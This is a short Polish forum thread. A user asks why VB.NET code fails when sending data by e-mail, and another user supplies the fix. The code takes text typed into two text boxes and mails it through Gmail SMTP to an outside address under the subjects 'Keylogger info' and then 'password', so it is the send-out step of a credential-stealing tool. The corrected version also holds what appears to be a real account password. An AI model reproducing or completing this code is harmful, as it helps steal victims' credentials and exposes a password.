Problem. Wysylanie danych na e-mail

[Hasumi]

Dim mail As New MailMessage()[/center]


[center]		Dim Smtpserver As New SmtpClient[/center]


[center]		Smtpserver.Credentials = New Net.NetworkCredential("[email protected]", "Yourpassword")[/center]


[center]		Smtpserver.Port = 587[/center]


[center]		Smtpserver.Host = "Smtp.Gmail.com"[/center]


[center]		Smtpserver.EnableSsl = True[/center]


[center]		Smtpserver.EnableSsl = True[/center]


[center]		mail.To.Add("[email protected]")[/center]


[center]		mail.Subject = "Keylogger info"[/center]


[center]		mail.Body = TextBox1.Text & TextBox2.Text[/center]


[center]		Smtpserver.Send(mail)

 

Po wlaczeniu wyskakuje mi ze cos nie tak z Smtpserver.Send(mail)

 

 

Ps: Wiem ze musze wypelnic ale tez nie dzialalo

[ProRivenn]

Podaj ss bledu lub komunikat bledu.

[eheem123]

Brakuje 'mail.From = New MailAddress("[email protected]")'

 

Cały kod:

 

 

       Dim mail As New MailMessage()
       Dim SmtpServer As New SmtpClient
       SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "887710400")
       SmtpServer.Port = 587
       SmtpServer.Host = "smtp.gmail.com"
       SmtpServer.EnableSsl = True
       SmtpServer.EnableSsl = True
       mail.To.Add("[email protected]")
       mail.From = New MailAddress("[email protected]")
       mail.Subject = "password"
       mail.Body = TextBox1.Text & TextBox2.Text
       SmtpServer.Send(mail)